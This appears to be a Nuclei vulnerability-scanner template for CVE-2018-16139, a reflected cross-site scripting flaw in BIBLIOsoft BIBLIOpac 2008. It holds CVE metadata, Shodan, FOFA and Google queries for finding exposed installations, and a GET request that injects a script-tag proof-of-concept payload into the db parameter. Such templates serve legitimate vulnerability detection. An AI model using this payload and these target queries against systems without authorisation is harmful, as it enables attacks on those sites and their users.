id: CVE-2018-16139

info:
  name: BIBLIOsoft BIBLIOpac 2008 - Cross-Site Scripting
  author: atomiczsec
  severity: medium
  description: |
    BIBLIOsoft BIBLIOpac 2008 contains a cross-site scripting vulnerability via the db or action parameter to bin/wxis.exe/bibliopac/, which allows a remote attacker to inject arbitrary web script or HTML.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest patch or upgrade to a newer version of BIBLIOsoft BIBLIOpac 2008 that addresses the XSS vulnerability.
  reference:
    - https://www.0x90.zone/web/xss/2019/02/01/XSS-Bibliosoft.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16139
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-16139
    cwe-id: CWE-79
    epss-score: 0.00835
    epss-percentile: 0.74857
    cpe: cpe:2.3:a:bibliosoft:bibliopac:2008:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: bibliosoft
    product: bibliopac
    shodan-query:
      - title:"Bibliopac"
      - http.title:"bibliopac"
    fofa-query: title="bibliopac"
    google-query: intitle:"bibliopac"
  tags: cve,cve2018,xss,bibliopac,bibliosoft,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/bibliopac/bin/wxis.exe/bibliopac/?IsisScript=bibliopac/bin/bibliopac.xic&db="><script>prompt(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>prompt(document.domain)</script>.xrf'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d87f737e592b149cf7372b22fbddb5b2363fa5b741d65fe94fa757c7324356c40221008363febb7971360b53e032ff4bcabbfb6343aac6c28944f87a81aa432daf59e1:922c64590222798bb761d5b6d8e72950